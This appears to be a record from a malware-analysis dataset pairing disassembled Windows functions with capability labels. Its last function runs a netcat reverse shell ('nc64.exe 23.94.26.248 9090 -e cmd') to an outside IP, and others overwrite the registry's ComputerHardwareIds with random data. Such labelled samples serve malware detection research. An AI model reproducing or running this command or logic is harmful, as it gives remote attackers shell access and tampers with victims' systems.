joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008ad0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008af0
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140008b38
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008ae4
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140008b25

Function at 0x140008b60
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x1400112c0]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008c18
mov rdx, qword [0x140011200]
lea rcx, [0x140011200]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140008be8
cmp rdx, rcx
jne 0x140008bca
mov qword [rdx], rax
cmp rax, rcx
je 0x140008bcf
nop dword [rax]
test rax, rax
je 0x140008bfa
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140008bb8
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140008bfa
mov rdx, rax
jmp 0x140008bc6
lea rcx, [0x140011300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008c36
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140008bfa
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x14000119c
Capabilities:
Accept command line arguments

Disassembly:
and al, 0x60
lea edx, [r9 + 3]
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadStringA]
mov r9d, SnmpCleanup
lea r8, [0x1400362b0]
lea edx, [r9 + 9]
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadStringA]
mov rcx, rbx
call fcn.1400012b0
mov qword [0x1400362a0], rbx
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
test rax, rax
je 0x1400011f3
mov rcx, rax
call fcn.140001bc0
test eax, eax
jne 0x1400011f3
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
call qword [sym.imp.COMCTL32.dll_InitCommonControls]
xor r8d, r8d
lea r9, [0x140001340]
lea edx, [r8 + 0x67]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.USER32.dll_DialogBoxParamA]
mov edx, 0x6d
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadAcceleratorsA]
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140001285
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.USER32.dll_TranslateAcceleratorA]
test eax, eax
jne 0x14000126e
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageA]
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140001241
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.140006140
add rsp, 0xe0
pop rbx
ret

Function at 0x140007080
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
mov esi, eax
movabs eax, dword [0xda8b088900409214]
test ebx, ebx
jle 0x1400070a1
mov eax, 0xff
call fcn.140002680
xor byte [rsi], al
jne 0x140007091
pop rsi
pop rbx
ret
Function at 0x140004d40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rbp, rdx
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor r15d, r15d
mov dword [rsp + 0x20], r15d
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov r14d, 0x1398
mov eax, dword [r14 + rsi]
mov r12d, 0x13b0
test al, 1
jne 0x140004de8
or eax, 1
mov dword [r14 + rsi], eax
mov ebx, r12d
add rbx, rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbx + 0x1384], 0xffffffff
mov dword [rbx + 4], eax
lea ecx, [r15 + 1]
lea r8, [rbx + 8]
nop dword [rax]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [r8], edx
inc rcx
lea r8, [r8 + 4]
cmp rcx, 0x270
jb 0x140004dc0
mov dword [rbx], 0x270
mov eax, dword [r14 + rsi]
mov ebx, 0x2740
test al, 2
jne 0x140004e09
or eax, 2
mov dword [r14 + rsi], eax
mov qword [rbx + rsi], r15
mov qword [rbx + rsi + 8], 0x3d
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov dword [rsp + 0x20], 1
cmp rbp, 0xf
je 0x140004e48
jbe 0x140004e3f
mov rdx, rbp
mov rcx, rdi
call fcn.140006fd0
mov qword [rdi + 0x10], r15
jmp 0x140004e48
test rbp, rbp
je 0x140004eeb
mov r15d, ebx
add r15, rsi
mov ebx, r12d
add rbx, rsi
lea r12, str.0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
nop dword [rax + rax]
dec rbp
mov qword [rsp + 0x28], rbx
mov r14, qword [r15]
mov rdx, qword [r15 + 8]
sub rdx, r14
cmp rdx, 0xffffffffffffffff
jne 0x140004e95
mov rcx, rbx
call fcn.140007640
mov esi, eax
shl rsi, 0x20
mov rcx, rbx
call fcn.140007640
mov eax, eax
or rsi, rax
jmp 0x140004ea5
inc rdx
lea rcx, [rsp + 0x28]
call fcn.140007490
mov rsi, rax
lea rax, [rsi + r14]
movzx r9d, byte [rax + r12]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x140004eda
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x140004ecf
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140004ee2
mov rcx, rdi
call fcn.1400020f0
test rbp, rbp
jne 0x140004e60
mov rax, rdi
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140004f10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rbp, rdx
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor r15d, r15d
mov dword [rsp + 0x20], r15d
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov r14d, 0x2738
mov eax, dword [r14 + rsi]
mov r12d, 0x10
test al, 1
jne 0x140004fb8
or eax, 1
mov dword [r14 + rsi], eax
mov ebx, r12d
add rbx, rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbx + 0x1384], 0xffffffff
mov dword [rbx + 4], eax
lea ecx, [r15 + 1]
lea r8, [rbx + 8]
nop dword [rax]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [r8], edx
inc rcx
lea r8, [r8 + 4]
cmp rcx, 0x270
jb 0x140004f90
mov dword [rbx], 0x270
mov eax, dword [r14 + rsi]
mov ebx, 0x13a0
test al, 2
jne 0x140004fd9
or eax, 2
mov dword [r14 + rsi], eax
mov qword [rbx + rsi], r15
mov qword [rbx + rsi + 8], 9
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov dword [rsp + 0x20], 1
cmp rbp, 0xf
je 0x140005018
jbe 0x14000500f
mov rdx, rbp
mov rcx, rdi
call fcn.140006fd0
mov qword [rdi + 0x10], r15
jmp 0x140005018
test rbp, rbp
je 0x1400050bb
mov r15d, ebx
add r15, rsi
mov ebx, r12d
add rbx, rsi
lea r12, str.0123456789
nop dword [rax + rax]
dec rbp
mov qword [rsp + 0x28], rbx
mov r14, qword [r15]
mov rdx, qword [r15 + 8]
sub rdx, r14
cmp rdx, 0xffffffffffffffff
jne 0x140005065
mov rcx, rbx
call fcn.140007640
mov esi, eax
shl rsi, 0x20
mov rcx, rbx
call fcn.140007640
mov eax, eax
or rsi, rax
jmp 0x140005075
inc rdx
lea rcx, [rsp + 0x28]
call fcn.140007490
mov rsi, rax
lea rax, [rsi + r14]
movzx r9d, byte [rax + r12]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x1400050aa
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x14000509f
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400050b2
mov rcx, rdi
call fcn.1400020f0
test rbp, rbp
jne 0x140005030
mov rax, rdi
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140007640
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400076a1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140007660
mov ecx, dword [r9]
jmp 0x140007788
cmp ecx, 0x4e0
jb 0x140007788
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400076c0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140007710
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x1400078a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x50
mov rax, qword [0x140012040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, r8
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov r14, rdx
mov rbp, rcx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400079c3
mov qword [rsp + 0x48], rdi
mov rax, 0xffffffffffffffff
xor edi, edi
nop word [rax + rax]
inc rax
cmp word [rbx + rax*2], di
jne 0x140007900
test rax, rax
je 0x14000799c
mov qword [rsp + 0x88], rsi
mov rcx, rdi
mov qword [rsp + 0x40], r15
lea r15, [0x1400120c8]
nop dword [rax]
lea rsi, [rbx + rcx*2]
mov edx, 0x80
movzx ecx, word [rsi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_iswctype]
test eax, eax
je 0x14000796d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [r15 + rcx*2], 0
jne 0x140007955
xor edx, edx
div rcx
movzx eax, word [r15 + rdx*2]
mov word [rsi], ax
inc edi
mov rax, 0xffffffffffffffff
mov ecx, edi
nop dword [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140007980
cmp rcx, rax
jb 0x140007930
mov r15, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x88]
mov eax, dword [rsp + 0x30]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, r14
mov qword [rsp + 0x20], rbx
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140007f50
add rsp, 0x50
pop r14
pop rbp
pop rbx
ret
Function at 0x1400079e0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
mov eax, 0x2050
call fcn.140008e70
sub rsp, rax
mov rax, qword [0x140012040]
xor rax, rsp
mov qword [rsp + 0x2040], rax
lea rax, [rsp + 0x30]
xor ebx, ebx
mov r9d, 0xf003f
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetControlSystemInformation
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140007b5d
mov qword [rsp + 0x2060], rsi
lea rcx, [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
xor edx, edx
mov r8d, 0x1ffe
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], 0x1ffe
mov qword [rsp + 0x28], rax
lea rdx, str.ComputerHardwareIds
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140007b4c
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x140007b25
mov qword [rsp + 0x2068], rdi
mov qword [rsp + 0x2070], r14
lea r14, [0x1400120c8]
nop dword [rax]
nop word [rax + rax]
mov eax, ebx
lea rdi, [rsp + 0x40]
movzx ecx, word [rdi + rax*2]
lea rdi, [rdi + rax*2]
mov edx, 0x80
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_iswctype]
test eax, eax
je 0x140007b0b
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp word [r14 + rcx*2], 0
jne 0x140007af0
dec rcx
xor edx, edx
div rcx
movzx eax, word [r14 + rdx*2]
mov word [rdi], ax
mov eax, dword [rsp + 0x38]
inc ebx
cmp ebx, eax
jb 0x140007ac0
mov r14, qword [rsp + 0x2070]
mov rdi, qword [rsp + 0x2068]
mov dword [rsp + 0x28], eax
lea rdx, str.ComputerHardwareIds
lea rax, [rsp + 0x40]
mov r9d, 7
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x2060]
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.140007f50
add rsp, 0x2050
pop rbx
ret
Function at 0x140007db0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x6a0
mov rax, qword [0x140012040]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x480]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
lea rdx, str._ws
lea rcx, [rsp + 0x480]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x480]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
nop word [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x4c]
mov r8, rdi
lea rdx, str._ws_ws
lea rcx, [rsp + 0x270]
call qword [sym.imp.USER32.dll_wsprintfW]
movzx ecx, word [rsp + 0x4c]
movzx eax, word [rsp + 0x4e]
cmp cx, 0x2e
jne 0x140007e89
test ax, ax
je 0x140007ec3
cmp cx, cx
jne 0x140007e89
cmp ax, cx
jne 0x140007e89
cmp word [rsp + 0x50], 0
je 0x140007ec3
test byte [rsp + 0x20], 0x10
lea rdx, str.desktop.ini
je 0x140007ea6
lea rcx, [rsp + 0x270]
call fcn.140007db0
jmp 0x140007ec3
lea rcx, [rsp + 0x4c]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x140007ec3
lea rcx, [rsp + 0x270]
call fcn.140007b80
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140007e30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.140007f50
mov rbx, qword [rsp + 0x6b8]
add rsp, 0x6a0
pop rdi
ret

Function at 0x140008a48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008a92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008a92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008a92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008a92
cmp dword [rcx + 0x84], 0xe
jbe 0x140008a92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008a94
xor al, al
add rsp, 0x28
ret
Function at 0x14000d490
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140018cc0], rbx
je 0x14000d4f7
cmp rax, rbx
jne 0x14000d4ea
mov edi, 1
mov esi, edi
jmp 0x14000d4fc
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000d4cf
mov edi, 1
mov eax, dword [0x140018cc8]
cmp eax, edi
jne 0x14000d514
mov ebx, 0x1f
mov ecx, ebx
call fcn.1400c1000
jmp 0x14000d58a
mov eax, dword [0x140018cc8]
test eax, eax
jne 0x14000d57f
mov dword [0x140018cc8], edi
lea r15, [0x14000fb70]
lea rbx, [0x14000fb58]
mov qword [rsp + 0x30], rbx
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rbx, r15
jae 0x14000d571
test eax, eax
jne 0x14000d575
cmp qword [rbx], r14
je 0x14000d566
movabs r10, 0xd30527475e523070
mov rax, qword [rbx]
mov rcx, qword [0x14000fa90]
call rcx
mov dword [rsp + 0x24], eax
add rbx, 8
mov qword [rsp + 0x30], rbx
jmp 0x14000d53e
test eax, eax
je 0x14000d585
mov eax, 0xff
jmp 0x14000d6eb
mov dword [0x140016444], edi
mov ebx, 0x1f
mov eax, dword [0x140018cc8]
cmp eax, edi
jne 0x14000d5b1
lea rdx, [0x14000fb50]
lea rcx, [0x14000faa8]
call sub.msvcrt.dll__initterm
mov dword [0x140018cc8], 2
test esi, esi
jne 0x14000d5bf
mov rax, r14
xchg qword [0x140018cc0], rax
cmp qword [0x140018cd0], r14
je 0x14000d5fc
lea rcx, [0x140018cd0]
call fcn.14000d930
test eax, eax
je 0x14000d5fc
movabs r10, 0x99012e4578d92870
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140018cd0]
mov r9, qword [0x14000fa90]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000d615
mov eax, 0xff
jmp 0x14000d6eb
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000d69c
test ax, ax
je 0x14000d630
test edx, edx
jne 0x14000d69c
sub ax, di
cmp ax, bx
ja 0x14000d646
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000d630
test byte [rsp + 0x7c], dil
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001524
mov dword [0x140016440], eax
cmp dword [0x140016460], r14d
jne 0x14000d685
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140016444], r14d
jne 0x14000d69a
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140016440]
jmp 0x14000d6eb
cmp ax, 0x22
jne 0x14000d6b0
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000d61e
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14000d9c4
add rsp, 0x28
jmp 0x14000d490
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0048ccc0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x0048ccd0]
mov dword [rax], 1
mov rax, qword [0x0048cce0]
mov dword [rax], 1
mov rax, qword [0x0048ccb0]
mov dword [rax], 1
mov rax, qword [0x0048cb30]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x0048cca0]
mov dword [0x004a7008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x0048cbe0]
mov qword [rdx], rax
mov rdx, qword [0x0048cbd0]
mov qword [rdx], rax
mov rax, qword [0x0048cc60]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x0048c220]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401530
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
lea rax, str.nc64.exe_23.94.26.248_9090__e_cmd
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.system
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x401581
lea rdx, str.Command_executed_successfully.
mov rcx, qword [0x0048c710]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x4015a3
lea rdx, str.Command_failed_to_execute.
mov rcx, qword [0x0048c6f0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov eax, 0
add rsp, 0x30
pop rbp
ret